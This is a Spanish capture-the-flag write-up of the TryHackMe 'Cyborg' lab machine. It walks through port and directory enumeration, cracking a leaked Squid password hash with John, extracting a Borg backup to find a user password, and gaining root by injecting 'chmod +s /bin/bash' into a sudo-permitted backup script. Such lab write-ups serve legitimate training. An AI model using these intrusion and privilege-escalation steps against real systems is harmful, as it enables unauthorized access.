> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/cyborg.md).

# Cyborg

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones sobre la maquina objetivo `10.129.149.19`.

```bash
sudo nmap -sV -p- 10.129.149.19
```

![Nmap](/files/PNqvxoqSRrqrw2DduGpV)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version                    |
| ------ | ------ | -------- | -------------------------- |
| 22/tcp | open   | SSH      | OpenSSH 7.2p2 Ubuntu       |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.18 Ubuntu |

Con HTTP abierto, se continua enumerando la web.

***

## 2. Enumeracion Web - Gobuster

Se realiza fuzzing de directorios con `gobuster`.

```bash
gobuster dir -u 10.129.149.19:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php
```

![Gobuster](/files/PA0Sf3TafUcsJGJjbPVs)

**Hallazgos importantes:**

| Recurso       | Codigo | Comentario                |
| ------------- | ------ | ------------------------- |
| `/admin/`     | 301    | Panel web descubierto     |
| `/etc/`       | 301    | Directorio sensible       |
| `/index.html` | 200    | Pagina por defecto Apache |

***

## 3. Panel Admin

Al acceder a `/admin/`, se encuentra una web interna con varias secciones.

```
http://10.129.149.19/admin/
```

![Admin panel](/files/EtomYVRXAV9mmZruciHI)

En la seccion **Admins** aparece un mensaje de Alex indicando que estuvo jugando con Squid Proxy y que los archivos de configuracion quedaron expuestos. Tambien menciona un backup llamado `music_archive`.

![Admin shoutbox](/files/AgOrBz5DQRgXRQlqKdEh)

***

## 4. Descarga del Backup

En el menu **Archive** aparece una opcion para descargar el backup.

![Archive download](/files/2LMiOLE8bqd25F7D81mD)

Se descarga `archive.tar` y se extrae.

```bash
tar -xvf archive.tar
```

![archive.tar](/files/VinEXLhZRZvtXDdRx6Us)

El contenido extraido corresponde a un repositorio de Borg Backup.

```bash
cat README
```

![Borg README](/files/HUIexaFvMkwjoX8kJaxK)

***

## 5. Credenciales de Squid

Al revisar `/etc/`, se encuentra configuracion de Squid expuesta desde la web.

```
http://10.129.149.19/etc/squid/passwd
```

![squid passwd](/files/k6om8BBJqxZf7vVE8eR4)

El archivo contiene el hash del usuario `music_archive`.

```
music_archive:$apr1$pBpZ.Q.1m$fOqqPwHSOG5OURuOVQTTn.
```

Tambien se revisa `squid.conf`, donde se confirma el uso del archivo `passwd` para autenticacion basica.

![squid.conf](/files/TfKBpuj1bDZRSKqqALbQ)

***

## 6. Crackeo del Hash

Se guarda el hash y se crackea con John usando `rockyou.txt`.

```bash
echo 'music_archive:$apr1$pBpZ.Q.1m$fOqqPwHSOG5OURuOVQTTn.' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

![John](/files/W6v2Yj993b2myk2hVPxa)

**Credenciales obtenidas:**

| Usuario         | Password    |
| --------------- | ----------- |
| `music_archive` | `squidward` |

***

## 7. Extraccion del Repositorio Borg

Con la contrasena crackeada, se lista el repositorio Borg.

```bash
borg list .
```

![borg list](/files/RUOdy10oaXDoomV30JeQ)

Se lista el contenido del backup `music_archive`.

```bash
borg list .::music_archive
```

![borg list music\_archive](/files/aMGUrJ0rAhlwglg2ou42)

Se observan archivos interesantes dentro del home de `alex`, incluyendo `Desktop/secret.txt` y `Documents/note.txt`.

![Archivos interesantes](/files/pryOs7tYNHjwUp6rY7Rf)

Se extrae el backup.

```bash
borg extract .::music_archive
```

![borg extract](/files/RrXKLphNSmI5IjEaaHpb)

***

## 8. Credenciales de Alex

Dentro del backup extraido se lee `secret.txt`.

```bash
cat home/alex/Desktop/secret.txt
```

![secret.txt](/files/RrXKLphNSmI5IjEaaHpb)

Tambien se revisa `note.txt`, donde Alex deja anotada su contrasena.

```bash
cat home/alex/Documents/note.txt
```

![note.txt](/files/J5LMdDUbPB3lqkvJHeZi)

**Credenciales encontradas:**

| Usuario | Password     |
| ------- | ------------ |
| `alex`  | `S3cretP@s3` |

***

## 9. Acceso SSH

Se accede por SSH con las credenciales de `alex`.

```bash
ssh alex@10.129.149.19
```

![SSH alex](/files/1s7brAsVt0lMigK98KdT)

Acceso conseguido como `alex`.

***

## 10. Enumeracion de Privilegios

Se revisan los permisos de `sudo`.

```bash
sudo -l
```

![sudo -l](/files/D82OhLhwBhVCB2q0AIid)

**Permiso encontrado:**

```
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
```

Se revisa el directorio `/etc/mp3backups/` y el script `backup.sh`.

```bash
ls -la /etc/mp3backups/
cat /etc/mp3backups/backup.sh
```

![backup.sh](/files/wQI7PzRPLYjylFzgCnrP)

El script acepta el parametro `-c` y ejecuta el contenido recibido mediante una variable `command`, lo que permite inyectar comandos como root.

***

## 11. Escalada de Privilegios

La tecnica elegida consiste en dar SUID a `/bin/bash` desde el script ejecutado con `sudo`.

![GTFOBins bash](/files/7rkSdtgvlsjCUIJNV12w)

Se ejecuta el script con el parametro vulnerable:

```bash
sudo /etc/mp3backups/backup.sh -c "chmod +s /bin/bash"
```

Despues, se lanza Bash con preservacion de privilegios.

```bash
bash -p
id
```

![Root shell](/files/8CuxebIApzDrJAJcKdEQ)

El resultado confirma la escalada:

```
uid=1000(alex) gid=1000(alex) euid=0(root) egid=0(root)
```

***

## Resumen

| Paso | Tecnica           | Resultado                         |
| ---- | ----------------- | --------------------------------- |
| 1    | Nmap              | SSH 22 y HTTP 80                  |
| 2    | Gobuster          | `/admin/` y `/etc/` descubiertos  |
| 3    | Enumeracion web   | Backup `music_archive` mencionado |
| 4    | Descarga backup   | Repositorio Borg obtenido         |
| 5    | Squid expuesto    | Hash de `music_archive`           |
| 6    | John              | Password `squidward`              |
| 7    | Borg              | Backup de `/home/alex` extraido   |
| 8    | Lectura de notas  | Credenciales de `alex`            |
| 9    | SSH               | Acceso como `alex`                |
| 10   | `sudo -l`         | `backup.sh` ejecutable como root  |
| 11   | Command injection | Bash con EUID 0                   |

***

## Conclusion

La maquina se compromete a partir de informacion sensible expuesta en la web. El directorio `/etc/` revela credenciales de Squid, que permiten desbloquear un repositorio Borg descargado desde `/admin/`. Dentro del backup se obtiene la contrasena de `alex`, y la escalada final se realiza abusando de una inyeccion de comandos en `/etc/mp3backups/backup.sh` ejecutado con `sudo`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/cyborg.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
